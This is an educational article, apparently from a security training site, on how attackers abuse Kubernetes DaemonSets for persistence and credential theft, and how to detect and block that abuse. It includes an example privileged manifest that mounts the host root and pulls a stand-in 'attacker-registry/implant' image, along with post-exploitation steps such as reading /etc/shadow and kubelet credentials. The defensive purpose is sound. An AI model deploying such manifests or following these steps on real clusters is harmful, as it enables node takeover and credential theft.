What is a DaemonSet?

What Is a DaemonSet?

A Kubernetes DaemonSet guarantees that a copy of a specific Pod runs on every node in the cluster. When a new node joins, the DaemonSet controller automatically schedules a Pod onto it. When a node is removed, the associated Pod is cleaned up. This makes DaemonSets the standard mechanism for deploying cluster-wide infrastructure: logging agents, monitoring exporters, network plugins, and security tools.

From an offensive security perspective, this same guarantee becomes a powerful primitive. An attacker who can create or modify a DaemonSet gains automatic code execution on every node in the cluster, including nodes added after the initial compromise. Combined with the elevated privileges that DaemonSet workloads typically require (host filesystem access, host networking, privileged containers), a malicious DaemonSet becomes one of the most effective persistence and lateral movement mechanisms in Kubernetes.

Why Attackers Target DaemonSets

DaemonSets are attractive to attackers because they solve several offensive problems simultaneously:

1. Cluster-wide execution: A single DaemonSet manifest delivers a payload to every node. There is no need to enumerate nodes, obtain individual SSH keys, or chain multiple exploits. One kubectl apply compromises the entire cluster.
2. Automatic persistence: The DaemonSet controller continuously reconciles desired state. If a defender deletes a malicious Pod, the controller immediately recreates it. If the cluster scales out, new nodes are compromised automatically without attacker interaction.
3. Legitimate appearance: DaemonSets are expected to run privileged workloads with host access. A malicious DaemonSet named node-monitoring-agent or log-collector blends into the environment far more naturally than a rogue standalone Pod.
4. Inherited privileges: Legitimate DaemonSets for logging (Fluentd, Fluent Bit), monitoring (Prometheus Node Exporter), and security (Falco, Sysdig) routinely use hostPath volumes, hostPID, hostNetwork, and privileged security contexts. Attackers can replicate these patterns without triggering anomaly-based detections that flag unusual privilege requests.

Attack Paths: Creating a Malicious DaemonSet

The ability to deploy a malicious DaemonSet depends on the attacker's access level and the cluster's RBAC configuration. Several attack paths lead to DaemonSet creation or modification.

Overly Permissive RBAC

The most direct path is a service account or user with create or patch permissions on DaemonSets in the apps API group. This is more common than defenders expect. Cluster-admin ClusterRoleBindings granted to CI/CD service accounts, Helm release managers with broad permissions, or developer namespaces with wildcard RBAC rules all provide this capability. An attacker who compromises a Jenkins pod running with a service account that has apps/v1 daemonsets: ["*"] can immediately deploy cluster-wide.

The Exploit Kubernetes Overly Permissive RBAC lab on Pwned Labs demonstrates exactly this scenario: escalating from an over-privileged service account to full cluster compromise through workload creation.

Patching Existing DaemonSets

Rather than creating a new DaemonSet that might be noticed, an attacker with patch permissions can modify an existing legitimate DaemonSet. Adding an init container or sidecar to the Fluentd DaemonSet, for example, executes the attacker's code on every node while the legitimate logging agent continues to function normally. The DaemonSet's rolling update strategy ensures the modified Pod template propagates to all nodes automatically.

Compromising GitOps Pipelines

In clusters managed by GitOps tools (ArgoCD, Flux), an attacker who gains write access to the infrastructure repository can inject a malicious DaemonSet manifest or modify an existing one. The GitOps controller will apply the change automatically, creating the DaemonSet without any direct Kubernetes API interaction that would appear in audit logs as a manual action.

Offensive Capabilities of a Malicious DaemonSet

Once deployed, a malicious DaemonSet provides an attacker with a range of capabilities depending on the privileges granted to its Pods.

Node Breakout via hostPath

Mounting the host filesystem with a hostPath volume is the most common DaemonSet privilege, since legitimate agents need access to /var/log, /var/lib/docker, or /etc. An attacker who mounts / (the host root) can read and write any file on the underlying node:

• Read /etc/shadow to harvest local user password hashes
• Read kubelet credentials from /var/lib/kubelet/ to authenticate as the node
• Write a cron job to /etc/cron.d/ for persistence outside the Kubernetes layer
• Write SSH authorized keys for direct node access
• Access cloud provider instance metadata credentials via the node's filesystem or network

Credential Harvesting Across All Nodes

Because a DaemonSet runs on every node, an attacker can harvest credentials cluster-wide in a single operation. This includes kubelet client certificates, cloud instance metadata tokens (AWS IMDSv1/v2, GCP metadata, Azure IMDS), mounted service account tokens from other Pods (accessible via hostPath to /var/lib/kubelet/pods/), and environment variables containing secrets from co-located containers. On managed Kubernetes services (EKS, GKE, AKS), the node's cloud IAM role or managed identity often has permissions to access cloud resources beyond the cluster, turning a Kubernetes compromise into a cloud account compromise.

Network Interception with hostNetwork

A DaemonSet Pod running with hostNetwork: true shares the node's network namespace. This allows the attacker to sniff traffic on the node's physical interfaces, intercept Pod-to-Pod communication that traverses the node, bind to the kubelet port (10250) or other node-level services, and access network services that are restricted to node IPs (such as cloud metadata endpoints or internal load balancers). Combined with hostPID, the attacker can also see and interact with processes running in other Pods on the same node.

Cryptomining and Resource Abuse

Cryptomining is one of the most commonly observed real-world abuses of DaemonSets. The TeamTNT threat group has repeatedly deployed cryptomining DaemonSets after compromising exposed Kubernetes API servers or Docker daemons. The DaemonSet ensures miners run on every node, maximizing compute usage. Resource limits are typically omitted or set high to avoid throttling the mining process, which degrades legitimate workloads.

Real-World Attack Patterns

DaemonSet abuse appears regularly in cloud-native threat intelligence:

• TeamTNT campaigns (2020-2023): This threat group automated the deployment of cryptomining DaemonSets across compromised Kubernetes clusters. Their tooling scanned for exposed kubelet APIs and Docker sockets, then deployed DaemonSets with names mimicking legitimate system components to evade detection.
• Hildegard malware (2021): Discovered by Unit 42, Hildegard used a DaemonSet to propagate cryptominers across Kubernetes clusters after initial access through a misconfigured kubelet. The malware established encrypted C2 channels and deployed a tmate reverse shell for persistent access.
• Siloscape (2021): The first known malware targeting Windows containers used DaemonSets as part of its post-exploitation toolkit to maintain persistence across cluster nodes after escaping the container runtime.
• SCARLETEEL (2023): Documented by Sysdig, this operation compromised Kubernetes clusters and deployed workloads across nodes to harvest cloud credentials from instance metadata services, pivoting from the Kubernetes environment into broader AWS account compromise.

Example: Malicious DaemonSet Manifest

The following manifest demonstrates what a weaponized DaemonSet looks like. An attacker would deploy this with a single kubectl apply -f command:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-health-monitor    # Innocuous name
  namespace: kube-system       # Hides among system components
  labels:
    app: node-health-monitor
spec:
  selector:
    matchLabels:
      app: node-health-monitor
  template:
    metadata:
      labels:
        app: node-health-monitor
    spec:
      hostNetwork: true        # Access node network
      hostPID: true            # See all node processes
      tolerations:
      - operator: Exists       # Run on ALL nodes including control plane
      containers:
      - name: monitor
        image: attacker-registry/implant:latest
        securityContext:
          privileged: true     # Full node access
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /              # Mount entire host filesystem

This manifest requests every dangerous capability simultaneously: privileged security context, hostNetwork, hostPID, full host filesystem mount, and a toleration that ensures it runs on control plane nodes as well. The kube-system namespace placement and the benign-sounding name help it evade casual inspection.

Detection and Prevention

Defending against DaemonSet abuse requires controls at multiple layers: admission control, runtime monitoring, and RBAC hardening.

Admission Control

Policy engines like OPA Gatekeeper, Kyverno, or the built-in Pod Security Standards can block the dangerous capabilities that malicious DaemonSets require. Effective policies deny privileged containers, restrict hostPath mounts to specific directories (never /), block hostNetwork and hostPID unless explicitly exempted, prevent allowPrivilegeEscalation, and restrict which namespaces can deploy DaemonSets. The Secure Kubernetes Using OPA Gatekeeper lab on Pwned Labs walks through implementing these exact policies using Rego constraints to prevent privilege escalation, hostPath abuse, and privileged container deployment.

RBAC Hardening

The most effective preventive control is ensuring that no unauthorized identity can create or modify DaemonSets. This means auditing all ClusterRoleBindings and RoleBindings for subjects with create, update, or patch permissions on daemonsets in the apps API group, replacing wildcard (*) verb grants with explicit least-privilege permissions, binding CI/CD service accounts to namespaced Roles rather than ClusterRoles, and regularly reviewing service account token mounts in running Pods.

Runtime Detection

Runtime security tools (Falco, Sysdig Secure, Aqua) can detect malicious DaemonSet activity through several signals: Kubernetes audit log events showing DaemonSet creation or modification in sensitive namespaces, Pods requesting privileged security contexts or broad host mounts, unexpected processes spawning inside DaemonSet Pods (reverse shells, miners), network connections to known C2 infrastructure or mining pools from DaemonSet Pods, and file modifications on the host filesystem from containers.

Audit Logging

Kubernetes audit logs capture all API interactions with DaemonSet resources. Monitoring for create, patch, and update operations on daemonsets.apps, especially in kube-system or other privileged namespaces, is essential. Alert on DaemonSet modifications by service accounts that have not historically managed these resources, and on DaemonSet Pods requesting capabilities that exceed the cluster's security baseline.

DaemonSet vs. Other Kubernetes Controllers

Related Labs

Practice DaemonSet security concepts with hands-on offensive and defensive labs:

• Exploit Kubernetes Overly Permissive RBAC - Escalate from an over-permissioned service account to cluster-wide compromise through DaemonSet deployment, demonstrating how RBAC misconfigurations enable attackers to deploy persistent workloads across every node.
• Secure Kubernetes using OPA Gatekeeper - Build and deploy OPA Gatekeeper admission controller policies that restrict privileged containers, block hostPath mounts, deny hostNetwork and hostPID, and control which namespaces can deploy DaemonSets.

Frequently Asked Questions

Why are DaemonSets considered high-risk from a security perspective?

DaemonSets guarantee execution on every node in the cluster. If an attacker deploys a malicious DaemonSet with elevated privileges, they gain simultaneous access to every node's filesystem, network, and credentials. The DaemonSet controller also automatically recreates deleted Pods and deploys to newly added nodes, making it a self-healing persistence mechanism that is difficult to eradicate without deleting the DaemonSet object itself.

How do attackers typically gain the ability to create DaemonSets?

The most common paths are overly permissive RBAC grants (especially wildcard ClusterRoleBindings on CI/CD service accounts), compromised kubeconfig files with cluster-admin privileges, exposed Kubernetes API servers without authentication, compromised GitOps repositories that automatically apply manifests, and lateral movement from a compromised Pod whose service account has excessive permissions.

What is the difference between a DaemonSet and a Deployment for an attacker?

A Deployment runs a specified number of replicas on whichever nodes the scheduler selects. An attacker using a Deployment gets persistence in one or more Pods, but not guaranteed presence on every node. A DaemonSet guarantees one Pod per node, giving the attacker cluster-wide coverage, access to every node's host resources, and automatic propagation to new nodes. For node-level operations like credential harvesting, filesystem access, and network interception, a DaemonSet is strictly more powerful.

How can I detect malicious DaemonSet creation?

Monitor Kubernetes audit logs for DaemonSet create, patch, and update events, especially in system namespaces. Alert on DaemonSets requesting privileged security contexts, broad hostPath mounts, or hostNetwork/hostPID. Use admission controllers (OPA Gatekeeper, Kyverno) to enforce policies that block these capabilities by default, and runtime security tools (Falco) to detect suspicious behavior inside DaemonSet Pods.

Can OPA Gatekeeper prevent DaemonSet abuse?

Yes. OPA Gatekeeper enforces admission policies written in Rego that can deny DaemonSet creation if the Pod spec requests dangerous capabilities. Policies can block privileged containers, restrict hostPath to specific directories, deny hostNetwork and hostPID, and prevent privilege escalation. The Secure Kubernetes Using OPA Gatekeeper lab demonstrates building and deploying these policies in practice.